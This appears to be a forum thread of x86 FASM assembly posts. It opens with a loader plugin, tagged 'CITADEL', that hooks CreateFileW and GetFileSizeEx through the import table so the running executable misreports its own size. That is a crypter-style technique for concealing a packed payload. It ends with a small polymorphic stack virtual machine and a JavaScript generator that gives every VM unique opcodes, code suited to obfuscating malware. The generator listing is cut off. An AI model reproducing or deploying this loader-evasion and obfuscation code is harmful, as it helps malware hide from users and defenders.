    proc CreateFileW_Hook lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile
         pusha
         call    .delta
    .delta:
         pop     esi     
         sub     esi, .delta-_PLUGIN_BEGIN_
         stdcall DWord [esi+_CreateFileW], [lpFileName], [dwDesiredAccess], [dwShareMode], [lpSecurityAttributes], [dwCreationDisposition], [dwFlagsAndAttributes], [hTemplateFile]
         mov     DWord [esp+0x1C], eax
         stdcall DWord [esi+_lstrcmpiW], [lpFileName], [esi+pExecutableFileName]
         test    eax, eax
         jnz     .end
         push    DWord [esp+0x1C]
         pop     DWord [esi+hFileExec]
         mov     eax, [esi+_CreateFileW]
         mov     edx, [esi+pIAT_CreateFileW]
         mov     DWord [edx], eax
    .end:
         popa
         ret
    endp
     
    proc GetFileSizeEx_Hook hFile, lpFileSize
         pusha
         call    .delta
    .delta:
         pop     ebx
         sub     ebx, .delta-_PLUGIN_BEGIN_
         mov     eax, DWord [ebx+hFileExec]
         test    eax, eax
         jz      .readOriginal
         cmp     eax, [hFile]
         jnz     .readOriginal
         xor     edi, edi
         mov     eax, [ebx+_GetFileSizeEx]
         mov     edx, [ebx+pIAT_GetFileSizeEx]
         mov     DWord [edx], eax
         mov     edx, [lpFileSize]
         mov     eax, DWord [ebx+_3B1P_PLUGIN_HEADER.pLoadPEData]
         mov     eax, [eax+_LOADPE_DATA.dwOriginalFileSize]
         mov     DWord [edx], eax
         mov     DWord [edx+0x4], edi
         stdcall DWord [ebx+_SetLastError], 0
         inc     edi
         xchg    edi, eax
         jmp     short .end
    .readOriginal:
         stdcall DWord [ebx+_GetFileSizeEx], [hFile], [lpFileSize]
    .end:
         mov     DWord [esp+0x1C], eax
         popa
         ret
    endp
     
    proc searchDWordValue pMem, dwSize, dwValue
         pusha
         mov     esi, [pMem]
         mov     eax, [dwValue]
         mov     ecx, [dwSize]
    .up:
         test    ecx, ecx
         jz      .error
         cmp     DWord [esi], eax
         jz      .found
         sub     ecx, 0x4
         add     esi, 0x4
         jmp     short .up
    .found:
         clc
         jmp     short .end
    .error:
         xor     esi, esi
         stc
    .end:
         mov     DWord [esp+0x1C], esi
         popa
         ret
    endp
     
    pExecutableFileName dd 0x0
    hFileExec dd 0x0
    dwOldProtect dd 0x0
    _ReadFile dd 0x0
    _CreateFileW dd 0x0
    _lstrcmpiW dd 0x0
    _SetLastError dd 0x0
    _GetFileSizeEx dd 0x0
     
    ;IAT addresses
    pIAT dd 0x0
    dwIATsize dd 0x0
    pIAT_CreateFileW dd 0x0
    pIAT_ReadFile dd 0x0
    pIAT_GetFileSizeEx dd 0x0
     
    start:
         xor     ebx, ebx
         mov     eax, DWord [fs:ebx+0x30]
         mov     eax, DWord [eax+0xC]
         mov     eax, DWord [eax+0xC]
         mov     eax, [eax+0x28]
         mov     DWord [esi+pExecutableFileName], eax
    ;     mov     eax, DWord [edi+_LOADPE_DATA.pPEFileHeader]
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashReadFile
         mov     DWord [esi+_ReadFile], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashCreateFileW
         mov     DWord [esi+_CreateFileW], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashlstrcmpiW
         mov     DWord [esi+_lstrcmpiW], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashSetLastError
         mov     DWord [esi+_SetLastError], eax
         stdcall DWord [edi+_LOADPE_DATA.pAltGetProcAddress], edi, DWord [edi+_LOADPE_DATA.hKernel32], DWord [edi+_LOADPE_DATA.pCompareHash], hashGetFileSizeEx
         mov     DWord [esi+_GetFileSizeEx], eax
         stdcall DWord [edi+_LOADPE_DATA.pGetFileHeader], DWord [edi+_LOADPE_DATA.dwImageBase]
         add     eax, sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.DataDirectory + IMAGE_DIRECTORY_ENTRY_IAT*0x8
         cmp     DWord [eax], 0x0
         jz      .end
         mov     edx, DWord [eax]
         add     edx, [edi+_LOADPE_DATA.dwImageBase]
         mov     DWord [esi+pIAT], edx
         push    DWord [eax+0x4]
         pop     DWord [esi+dwIATsize]
         lea     eax, [esi+dwOldProtect]
         stdcall DWord [edi+_LOADPE_DATA.pVirtualProtect], DWord [esi+pIAT], DWord [esi+dwIATsize], PAGE_EXECUTE_READWRITE, eax
         stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_CreateFileW]
         jc      .end
         mov     DWord [esi+pIAT_CreateFileW], eax
         lea     edx, [esi+CreateFileW_Hook]
         mov     DWord [eax], edx
         stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_ReadFile]
         jc      .end
         mov     DWord [esi+pIAT_ReadFile], eax
         lea     edx, [esi+ReadFile_Hook]
         mov     DWord [eax], edx
         stdcall searchDWordValue, DWord [esi+pIAT], DWord [esi+dwIATsize], DWord [esi+_GetFileSizeEx]
         jc      .end
         mov     DWord [esi+pIAT_GetFileSizeEx], eax
         lea     edx, [esi+GetFileSizeEx_Hook]
         mov     DWord [eax], edx
     
     
    .end:
         jmp     DWord [esi+_3B1P_PLUGIN_HEADER.pReturn]
     
    __3BIP_PLUGIN_TAIL__ 'CITADEL'
Originally posted in Ukrainian forum

2
C - C++ / Re: executing code/commands Pstreams vs popen() vs fork/exec
« on: December 15, 2014, 01:44:10 pm »
I think you need netcat or its source code.

3
Assembly - Embedded / [FASM x86] Small software stack virtual machine
« on: December 13, 2014, 08:44:54 pm »
This VM developed for cryptographic purposes. I must note, when I tell about VM, then I mean a family of similar virtual machines. The following VM is officially approved iridium sample in vacuum for use in the examples. VM size varies in ranges about 700 bytes.
Architecture:
  • Two 32-bits stack - data and return
  • VM size varies in ranges about 700 bytes.
  • Every VM is unique because unique opcodes, unique fiels and unique functions number
  • Access to memory can be in Bytes, Words (2 Bytes) and DWords (Double Words, 4 bytes)[/*]
Originally posted in Ukrainian forum
 
picovm.inc

Code: [Select]
    struct PICOVM_CONTEXT
    _dstack_size db ?
    _instruction_pointer dd ?
    _dstack_begin dd ?
    _rstack_size db ?
    _rstack_begin dd ?
    _rstack_top dd ?
    _dstack_top dd ?
    ends
    macro PICOVM_CTX ip, dssz, rssz, rstop, dstop, rsb, dsb { PICOVM_CONTEXT dssz, ip, dsb, rssz, rsb, rstop, dstop }
     
    PICOVM_FNC_STEP = 0
    PICOVM_FNC_DSPOP = 1
    PICOVM_FNC_RUN = 2
    PICOVM_FNC_RSPOP = 3
    PICOVM_FNC_DSPUSH = 4
    PICOVM_FNC_RSPUSH = 5
    PICOVM_FNC_DEPTH = 6
     
    PICOVM_ADD_OPCODE equ 0x0
    PICOVM_PICK_OPCODE equ 0x1
    PICOVM_NOT_OPCODE equ 0x2
    PICOVM_STOREW_OPCODE equ 0x3
    PICOVM_LOADCW_OPCODE equ 0x4
    PICOVM_AND_OPCODE equ 0x5
    PICOVM_OVER_OPCODE equ 0x6
    PICOVM_DUP_OPCODE equ 0x7
    PICOVM_LOADCB_OPCODE equ 0x8
    PICOVM_XOR_OPCODE equ 0x9
    PICOVM_ROLL_OPCODE equ 0xA
    PICOVM_CALLN_OPCODE equ 0xB
    PICOVM_LOADCD_OPCODE equ 0xC
    PICOVM_CALLA_OPCODE equ 0xD
    PICOVM_JMPR_OPCODE equ 0xE
    PICOVM_SHR_OPCODE equ 0xF
    PICOVM_BELOW_OPCODE equ 0x10
    PICOVM_SHL_OPCODE equ 0x11
    PICOVM_FETCHD_OPCODE equ 0x12
    PICOVM_SUB_OPCODE equ 0x13
    PICOVM_ROT_OPCODE equ 0x14
    PICOVM_RET_OPCODE equ 0x15
    PICOVM_STORED_OPCODE equ 0x16
    PICOVM_DROP_OPCODE equ 0x17
    PICOVM_OR_OPCODE equ 0x18
    PICOVM_ROR_OPCODE equ 0x19
    PICOVM_EQ_OPCODE equ 0x1A
    PICOVM_ROL_OPCODE equ 0x1B
    PICOVM_ABOVE_OPCODE equ 0x1C
    PICOVM_SWAP_OPCODE equ 0x1D
    PICOVM_CALLR_OPCODE equ 0x1E
    PICOVM_FETCHW_OPCODE equ 0x1F
    PICOVM_MOD_OPCODE equ 0x20
    PICOVM_STOREB_OPCODE equ 0x21
    PICOVM_JMPC_OPCODE equ 0x22
    PICOVM_DIV_OPCODE equ 0x23
    PICOVM_MUL_OPCODE equ 0x24
    PICOVM_FETCHB_OPCODE equ 0x25
    PICOVM_JMPA_OPCODE equ 0x26
    PICOVM_HLT_OPCODE equ 0xFF
     
    PICOVM_ERR_NONE equ 0
    PICOVM_ERR_DSOVERFLOW equ -1
    PICOVM_ERR_DSUNDERFLOW equ -2
    PICOVM_ERR_RSOVERFLOW equ -4
    PICOVM_ERR_RSUNDERFLOW equ -5
    PICOVM_ERR_UNKNOWNFNC equ -6
    PICOVM_ERR_UNKNOWNCMD equ -7
     
    macro PICOVM_CMD cmd, n {
    if cmd eq _LOADCW
    db PICOVM##cmd##_OPCODE
    dw n and 0xffff
    else if cmd eq _LOADCD
    db PICOVM##cmd##_OPCODE
    dd n and 0xffffffff
    else if cmd eq _LOADCB
    db PICOVM##cmd##_OPCODE
    db n and 0xff
    else
    db PICOVM##cmd##_OPCODE
    end if
    }
     
    macro PICOVM_COMMAND_ENTRY link, sz, dsinp, dsoutp {
    dw ((link-__COMMANDS_BEGIN__) shl 0x6) + (sz and 0x7) + ((dsinp and 0x3) shl 0x3) + ((dsoutp and 0x1) shl 0x5)
    }
picovm.inc

Code: [Select]
    format binary
    use32
    org 0x0
     
    include '%FASMINC%\WIN32A.INC'
    include 'picovm.inc'
     
    __VM_BEGIN__:
    pusha
    call .delta
    .delta:
    sub DWord [esp], __VM_BEGIN__.delta - __VM_BEGIN__
    pop ebp
    cmp eax, 0x6
    ja .err
    call .fnc
     
    db __STEP__
    db __DSPOP__
    db __RUN__
    db __RSPOP__
    db __DSPUSH__
    db __RSPUSH__
    db __DEPTH__
     
    .fnc:
    pop ecx
    movzx ecx, Byte [ecx+eax]
    add ecx, ebp
    call ecx
    jmp short _save_eax_edx_stack_up
    .err:
    mov edx, PICOVM_ERR_UNKNOWNFNC
    jmp short __RSPUSH__.err
     
    __RSPUSH__:
    pusha
    mov esi, edx
    call __DEPTH__
    movzx ecx, [ebx+PICOVM_CONTEXT._rstack_size]
    cmp edx, ecx
    jb .ok
    mov edx, PICOVM_ERR_RSOVERFLOW
    .err:
    stc
    .up:
    mov eax, edx
    jmp short _save_eax_edx_stack_up
    .ok:
    mov ecx, [ebx+PICOVM_CONTEXT._rstack_top]
    mov [ecx], esi
    add [ebx+PICOVM_CONTEXT._rstack_top], 0x4
    xor edx, edx
    clc
    jmp short .up
     
    __RSPOP__:
    pusha
    call __DEPTH__
    test edx, edx
    jnz .ok
    mov edx, PICOVM_ERR_RSUNDERFLOW
    jmp short __RSPUSH__.err
    .ok:
    mov ecx, [ebx+PICOVM_CONTEXT._rstack_top]
    mov eax, [ecx-0x4]
    sub [ebx+PICOVM_CONTEXT._rstack_top], 0x4
    xor edx, edx
    clc
    _save_eax_edx_stack_up:
    jmp short _save_eax_edx_stack
     
    __DSPOP__:
    xor edx, edx
    xor eax, eax
    inc eax
    call __DSCheckInpOutp__
    jc .err
    mov ecx, [ebx+PICOVM_CONTEXT._dstack_top]
    mov eax, [ecx-0x4]
    sub [ebx+PICOVM_CONTEXT._dstack_top], 0x4
    clc
    ret
    .err:
    xchg edx, eax
    xor eax, eax
    stc
    ret
     
    __RUN__:
    test edx, edx
    jz .up
    mov [ebx+PICOVM_CONTEXT._instruction_pointer], edx
    .up:
    mov edx, [ebx+PICOVM_CONTEXT._instruction_pointer]
    cmp Byte [edx], PICOVM_HLT_OPCODE
    jz .ok
    call __STEP__
    ; pushf
    ; pusha
    ; call __DEPTH__
    ; popa
    ; popf
    jnc .up
    ret
    .ok:
    xchg edx, eax
    xor eax, eax
    ret
     
    __DSPUSH__:
    xor eax, eax
    inc ah
    call __DSCheckInpOutp__
    jnc .ok
    mov eax, edx
    ret
    .ok:
    mov ecx, [ebx+PICOVM_CONTEXT._dstack_top]
    mov DWord [ecx], edx
    add [ebx+PICOVM_CONTEXT._dstack_top], 0x4
    xor edx, edx
    ret
     
    __DEPTH__:
    pusha
    mov eax, [ebx+PICOVM_CONTEXT._dstack_top]
    mov edx, [ebx+PICOVM_CONTEXT._rstack_top]
    sub eax, [ebx+PICOVM_CONTEXT._dstack_begin]
    shr eax, 0x2
    sub edx, [ebx+PICOVM_CONTEXT._rstack_begin]
    shr edx, 0x2
    clc
    _save_eax_edx_stack:
    mov DWord [esp+0x14], edx
    _save_eax_stack:
    mov DWord [esp+0x1C], eax
    popa
    ret
     
    __STEP__:
    pusha
    xor eax, eax
    push eax
    mov esi, [ebx+PICOVM_CONTEXT._instruction_pointer]
    lea edi, [ebp+cmdsTable]
    movzx ecx, Byte [esi]
    mov eax, ecx
    shl eax, 0x1
    add edi, eax
    push edi
    movzx eax, Byte [edi]
    and al, 0x3F
    shl eax, 0x3
    shr al, 0x6
    call __DSCheckInpOutp__
    jc .err
    movzx eax, Word [edi]
    shr eax, 0x6
    add eax, ebp
    add eax, __COMMANDS_BEGIN__
    push ebp
    add DWord [esp], __STEP__.return
    push eax
    mov edi, [ebx+PICOVM_CONTEXT._dstack_top]
    mov edx, DWord [edi-0x8]
    mov eax, DWord [edi-0x4]
    ret
    .return:
    pop edx
    mov eax, DWord [esp]
    test eax, eax
    jnz short .err
    mov ebx, DWord [esp+0x14]
    movzx edx, Byte [edx]
    and edx, 0x7
    jz short .end
    mov esi, [ebx+PICOVM_CONTEXT._instruction_pointer]
    add esi, edx
    xor edx, edx
    jmp short .end
    .err:
    xchg edx, eax
    xchg eax, esi
    stc
    .end:
    mov eax, esi
    pop ecx
    mov [ebx+PICOVM_CONTEXT._dstack_top], edi
    mov [ebx+PICOVM_CONTEXT._instruction_pointer], esi
    _save_eax_edx_stack_down:
    jmp short _save_eax_edx_stack
     
    __DSCheckInpOutp__:
    pusha
    xor edi, edi
    mov edx, eax
    shr edx, 0x8
    xchg esi, eax
    and esi, 0xff
    call __DEPTH__
    cmp eax, esi
    jnl .outp
    dec edi
    jmp short .err
    .outp:
    movzx esi, Byte [ebx+PICOVM_CONTEXT._dstack_size]
    sub esi, eax
    cmp esi, edx
    jnl .ok
    dec edi
    dec edi
    .err:
    stc
    jmp short .end
    .ok:
    clc
    .end:
    xchg edi, eax
    jmp _save_eax_stack
    __COMMANDS_BEGIN__:
     
    _calln_:
    call eax
    ret
     
    ;_mrtd_:
    ; call _crtd_
    ; sub [ebx + PICOVM_CONTEXT._rstack_top], 0x4
    ; ret
     
    _stored_:
    mov [eax], edx
    _drop2:
    sub edi, 0x8
    ret
     
    _storew_:
    mov Word [eax], dx
    jmp short _drop2
     
    _storeb_:
    mov Byte [eax], dl
    jmp short _drop2
     
    _jmpa_:
    mov esi, eax
    jmp short _drop_
     
    _jmpr_:
    add esi, eax
    jmp short _drop_
     
    _jmpc_:
    test edx, edx
    jnz short _jmpc_not
    add esi, eax
    jmp short _drop2
     
    _jmpc_not:
    inc esi
    jmp short _drop2
     
    _over_:
    xchg ecx, edx
    ; jmp short _save_ecx_up1
     
    ;_depthr_:
    ; call __DEPTH__
    ; xchg edx, eax
    ; jmp short _save_ecx_up1
     
    ;_depthd_:
    ; call __DEPTH__
    ; xchg ecx, eax
    _save_ecx_up1:
    mov [edi], ecx
    add edi, 0x4
    ret
     
    _loadcb_:
    movzx ecx, Byte [esi+0x1]
    jmp short _save_ecx_up1
    _loadcw_:
    movzx ecx, Word [esi+0x1]
    jmp short _save_ecx_up1
    _loadcd_:
    mov ecx, [esi+0x1]
    jmp short _save_ecx_up1
     
    _dup_:
    xchg ecx, eax
    jmp short _save_ecx_up1
     
    _drop_:
     
    sub edi, 0x4
    ret
     
    ;_mdtr_:
    ; call _cdtr_
    ; jmp short _drop_
     
    _calla_:
    mov ecx, eax
    mov edx, esi
    inc edx
    call __RSPUSH__
    jc _err_edx
    mov esi, ecx
    jmp short _drop_
     
    _callr_:
    mov ecx, eax
    mov edx, esi
    inc edx
    call __RSPUSH__
    jc _err_edx
    add esi, ecx
    jmp short _drop_
     
    _mod_:
    mov ecx, eax
    xchg eax, edx
    xor edx, edx
    div ecx
    _save_edx_down1:
    mov [edi-0x8], edx
    jmp short _drop_
     
    _above_:
    xor ecx, ecx
    cmp eax, edx
    ja short _save_ecx_down1
    dec ecx
    _save_ecx_down1:
    mov [edi-0x8], ecx
    jmp short _drop_
     
    _below_:
    xor ecx, ecx
    cmp eax, edx
    jb short _save_ecx_down1
    dec ecx
    jmp short _save_ecx_down1
     
    _add_:
    add eax, edx
    jmp short _save_eax_down1
     
    _sub_:
    sub edx, eax
    jmp short _save_edx_down1
     
    _mul_:
    mul edx
    jmp short _save_eax_down1
     
    _xor_:
    xor eax, edx
    jmp short _save_eax_down1
     
    _shr_:
    xchg eax, edx
    xchg ecx, edx
    shr eax, cl
    jmp short _save_eax_down1
     
    _ror_:
    xchg eax, edx
    xchg ecx, edx
    ror eax, cl
    jmp short _save_eax_down1
     
    _shl_:
    xchg eax, edx
    xchg ecx, edx
    shl eax, cl
    jmp short _save_eax_down1
     
    _eq_:
    xor ecx, ecx
    cmp eax, edx
    jnz _save_ecx_down1
    dec ecx
    jmp short _save_ecx_down1
     
    ;_sar_:
    ; xchg eax, ecx
    ; sar edx, cl
    ; xchg edx, eax
    ; jmp short _save_eax_down1
     
    _not_:
    not eax
    jmp short _save_eax
     
    _rot_:
    mov ecx, [edi-0xC]
    mov [edi-0xC], edx
    mov [edi-0x8], eax
    _save_ecx_d:
    mov [edi-0x4], ecx
    ret
     
    ;_sal_:
    ; xchg eax, ecx
    ; sal edx, cl
    ; xchg edx, eax
    ; jmp short _save_eax_down1
     
    ;_neg_:
    ; neg eax
    ; jmp short _save_eax
     
    _div_:
    mov ecx, eax
    xchg eax, edx
    xor edx, edx
    div ecx
    _save_eax_down1:
    mov [edi-0x8], eax
    jmp _drop_
     
    _rol_:
    xchg eax, edx
    xchg ecx, edx
    rol eax, cl
    jmp short _save_eax_down1
     
    _and_:
    and eax, edx
    jmp short _save_eax_down1
     
    _or_:
    or eax, edx
    jmp short _save_eax_down1
     
    _swap_:
    xchg eax, edx
    _save_eax_edx:
    mov [edi-0x8], edx
    _save_eax:
    xchg ecx, eax
    jmp short _save_ecx
    _fetchb_:
    movzx eax, Byte [eax]
    jmp short _save_eax
     
    _fetchw_:
    movzx eax, Word [eax]
    jmp short _save_eax
    _fetchd_:
    mov eax, [eax]
    jmp short _save_eax
     
    ;_esb_:
    ; cbw
    ;_esw_:
    ; cwde
    ; jmp short _save_eax
     
    _save_ecx:
    mov [edi-0x4], ecx
    ret
     
    _pick_:
    inc eax
    inc eax
    mov edx, eax
    call __DSCheckInpOutp__
    jc _err_
    shl edx, 0x2
    mov eax, edi
    sub eax, edx
    push DWord [eax]
    pop DWord [edi-0x4]
    ret
     
    _roll_:
    mov edx, eax
    inc eax
    inc eax
    call __DSCheckInpOutp__
    jc _err_
    pusha
    mov ecx, edx
    xchg esi, edi
    mov ebx, ecx
    inc ebx
    shl ebx, 0x2
    sub esi, ebx
    lea edi, [esi-0x4]
    push DWord [edi]
    cld
    rep movsd
    pop DWord [edi]
    popa
    sub edi, 0x4
    ret
     
    _drop_d:
    sub edi, 0x4
    ret
     
    _ret_:
    call __RSPOP__
    jc _err_edx
    mov esi, eax
    ret
     
    ;_cdtr_:
    ; mov edx, eax
    ; call __RSPUSH__
    ; jc short _err_edx
    ; ret
     
    ;_crtd_:
    ; mov edx, [ebx + PICOVM_CONTEXT._rstack_top]
    ; mov eax, [ebx + PICOVM_CONTEXT._rstack_begin]
    ; cmp edx, eax
    ; jbe .err
    ; mov ecx, [edx-0x4]
    ; jmp _save_ecx_up1
    ;.err:
    ; mov eax, PICOVM_ERR_RSUNDERFLOW
    ; jmp _err_
    _err_edx:
    xchg eax, edx
    _err_:
    mov [esp+0x8], eax
    ret
     
     
    cmdsTable:
    PICOVM_COMMAND_ENTRY _add_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _pick_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _not_, 0x1, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _storew_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _loadcw_, 0x3, 0x0, 0x1
    PICOVM_COMMAND_ENTRY _and_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _over_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _dup_, 0x1, 0x1, 0x1
    PICOVM_COMMAND_ENTRY _loadcb_, 0x2, 0x0, 0x1
    PICOVM_COMMAND_ENTRY _xor_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _roll_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _calln_, 0x0, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _loadcd_, 0x5, 0x0, 0x1
    PICOVM_COMMAND_ENTRY _calla_, 0x0, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _jmpr_, 0x0, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _shr_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _below_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _shl_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _fetchd_, 0x1, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _sub_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _rot_, 0x1, 0x3, 0x0
    PICOVM_COMMAND_ENTRY _ret_, 0x0, 0x0, 0x0
    PICOVM_COMMAND_ENTRY _stored_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _drop_, 0x1, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _or_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _ror_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _eq_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _rol_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _above_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _swap_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _callr_, 0x0, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _fetchw_, 0x1, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _mod_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _storeb_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _jmpc_, 0x0, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _div_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _mul_, 0x1, 0x2, 0x0
    PICOVM_COMMAND_ENTRY _fetchb_, 0x1, 0x1, 0x0
    PICOVM_COMMAND_ENTRY _jmpa_, 0x0, 0x1, 0x0
Characteristics of VM stored in file picovm.settings.json (JSON format):
 
Code: [Select]
{"date":null,"cmds":["add","pick","not","storew","loadcw","and","over","dup","loadcb","xor","roll","calln","loadcd","calla","jmpr","shr","below","shl","fetchd","sub","rot","ret","stored","drop","or","ror","eq","rol","above","swap","callr","fetchw","mod","storeb","jmpc","div","mul","fetchb","jmpa"],"consts":["STEP","DSPOP","RUN","RSPOP","DSPUSH","RSPUSH","DEPTH"]}
Virtual machines generator (written in JS):
Code: [Select]
    var _ = require ('underscore');
    var fs = require ('fs');
     
    Number.prototype.toHex = function() {
    return('0x'+this.toString(16).toUpperCase());};
     
    var fncs = ['RUN', 'STEP', 'DEPTH', 'RSPOP', 'RSPUSH', 'DSPOP', 'DSPUSH'];
    var cmds_array = [];
    var picovm_inc_end = '\
    PICOVM_ERR_NONE equ 0\n\
    PICOVM_ERR_DSOVERFLOW equ -1\n\
    PICOVM_ERR_DSUNDERFLOW equ -2\n\
    PICOVM_ERR_RSOVERFLOW equ -4\n\
    PICOVM_ERR_RSUNDERFLOW equ -5\n\
    PICOVM_ERR_UNKNOWNFNC equ -6\n\
    PICOVM_ERR_UNKNOWNCMD equ -7\n\n\
    macro PICOVM_CMD cmd, n {\n\
    if cmd eq _LOADCW\n\
    db PICOVM##cmd##_OPCODE\n\
    dw n and 0xffff\n\
    else if cmd eq _LOADCD\n\
    db PICOVM##cmd##_OPCODE\n\
    dd n and 0xffffffff\n\
    else if cmd eq _LOADCB\n\
    db PICOVM##cmd##_OPCODE\n\
    db n and 0xff\n\
    else\n\
    db PICOVM##cmd##_OPCODE\n\
    end if\n\
    }\n\n\
    macro PICOVM_COMMAND_ENTRY link, sz, dsinp, dsoutp {\n\
    dw ((link-__COMMANDS_BEGIN__) shl 0x6) + (sz and 0x7) + ((dsinp and 0x3) shl 0x3) + ((dsoutp and 0x1) shl 0x5)\n\
    }\n\n';
     
    var picovm_asm_begin = 'format binary\n\
    use32\n\
    org 0x0\n\n\
    include \'%FASMINC%\\WIN32A.INC\'\n\
    include \'picovm.inc\'\n\n\
    __VM_BEGIN__:\n\
    pusha\n\
    call .delta\n\
    .delta:\n\
    sub DWord [esp], __VM_BEGIN__.delta - __VM_BEGIN__\n\
    pop ebp\n\
    cmp eax, 0x6\n\
    ja .err\n\
    call .fnc\n';
     
    var picovm_asm_body = '.fnc:\n\
    pop ecx\n\
    movzx ecx, Byte [ecx+eax]\n\
    add ecx, ebp\n\
    call ecx\n\
    jmp short _save_eax_edx_stack_up\n\
    .err:\n\
    mov edx, PICOVM_ERR_UNKNOWNFNC\n\
    jmp short __RSPUSH__.err\n\n\
    __RSPUSH__:\n\
    pusha\n\
    mov esi, edx\n\
    call __DEPTH__\n\
    movzx ecx, [ebx+PICOVM_CONTEXT._rstack_size]\n\
    cmp edx, ecx\n\
    jb .ok\n\
    mov edx, PICOVM_ERR_RSOVERFLOW\n\
    .err:\n\
    stc\n\
    .up:\n\
    mov eax, edx\n\
    jmp short _save_eax_edx_stack_up\n\
    .ok: \n\
    mov ecx, [ebx+PICOVM_CONTEXT._rstack_top]\n\
    mov [ecx], esi\n\
    add [ebx+PICOVM_CONTEXT._rstack_top], 0x4\n\
    xor edx, edx\n\
    clc\n\
    jmp short .up\n\n\
    __RSPOP__:\n\
    pusha\n\
    call __DEPTH__\n\
    test edx, edx\n\
    jnz .ok\n\
    mov edx, PICOVM_ERR_RSUNDERFLOW\n\
    jmp short __RSPUSH__.err\n\
    .ok: \n\
    mov ecx, [ebx+PICOVM_CONTEXT._rstack_top]\n\
    mov eax, [ecx-0x4]\n\
    sub [ebx+PICOVM_CONTEXT._rstack_top], 0x4\n\
    xor edx, edx\n\
    clc\n\
    _save_eax_edx_stack_up:\n\
    jmp short _save_eax_edx_stack\n\n\
    __DSPOP__:\n\
    xor edx, edx\n\
    xor eax, eax\n\
    inc eax\n\
    call __DSCheckInpOutp__\n\
    jc .err\n\
    mov ecx, [ebx+PICOVM_CONTEXT._dstack_top]\n\
    mov eax, [ecx-0x4]\n\
    sub [ebx+PICOVM_CONTEXT._dstack_top], 0x4\n\
    clc\n\
    ret\n\
    .err:\n\
    xchg edx, eax\n\
    xor eax, eax\n\
    stc\n\
    ret\n\n\
    __RUN__:\n\
    test edx, edx\n\
    jz .up\n\
    mov [ebx+PICOVM_CONTEXT._instruction_pointer], edx\n\
    .up:\n\
    mov edx, [ebx+PICOVM_CONTEXT._instruction_pointer]\n\
    cmp Byte [edx], PICOVM_HLT_OPCODE\n\
    jz .ok\n\
    call __STEP__\n\
    ; pushf\n\
    ; pusha\n\
    ; call __DEPTH__\n\
    ; popa\n\
    ; popf\n\
    jnc .up\n\
    ret\n\
    .ok: \n\
    xchg edx, eax\n\
    xor eax, eax\n\
    ret\n\n\
    __DSPUSH__:\n\
    xor eax, eax\n\
    inc ah\n\
    call __DSCheckInpOutp__\n\
    jnc .ok\n\
    mov eax, edx\n\
    ret\n\
    .ok:\n\
    mov ecx, [ebx+PICOVM_CONTEXT._dstack_top]\n\
    mov DWord [ecx], edx\n\
    add [ebx+PICOVM_CONTEXT._dstack_top], 0x4\n\
    xor edx, edx\n\
    ret\n\n\
    __DEPTH__:\n\
    pusha\n\
    mov eax, [ebx+PICOVM_CONTEXT._dstack_top]\n\
    mov edx, [ebx+PICOVM_CONTEXT._rstack_top]\n\
    sub eax, [ebx+PICOVM_CONTEXT._dstack_begin]\n\
    shr eax, 0x2\n\
    sub edx, [ebx+PICOVM_CONTEXT._rstack_begin]\n\
    shr edx, 0x2\n\
    clc\n\
    _save_eax_edx_stack:\n\
    mov DWord [esp+0x14], edx\n\
    _save_eax_stack:\n\
    mov DWord [esp+0x1C], eax\n\
    popa\n\
    ret\n\n\
    __STEP__:\n\
    pusha\n\
    xor eax, eax\n\
    push eax\n\
    mov esi, [ebx+PICOVM_CONTEXT._instruction_pointer]\n\
    lea edi, [ebp+cmdsTable]\n\
    movzx ecx, Byte [esi]\n\
    mov eax, ecx\n\
    shl eax, 0x1\n\
    add edi, eax\n\
    push edi\n\
    movzx eax, Byte [edi]\n\
    and al, 0x3F\n\
    shl eax, 0x3\n\
    shr al, 0x6\n\
    call __DSCheckInpOutp__\n\
    jc .err\n\
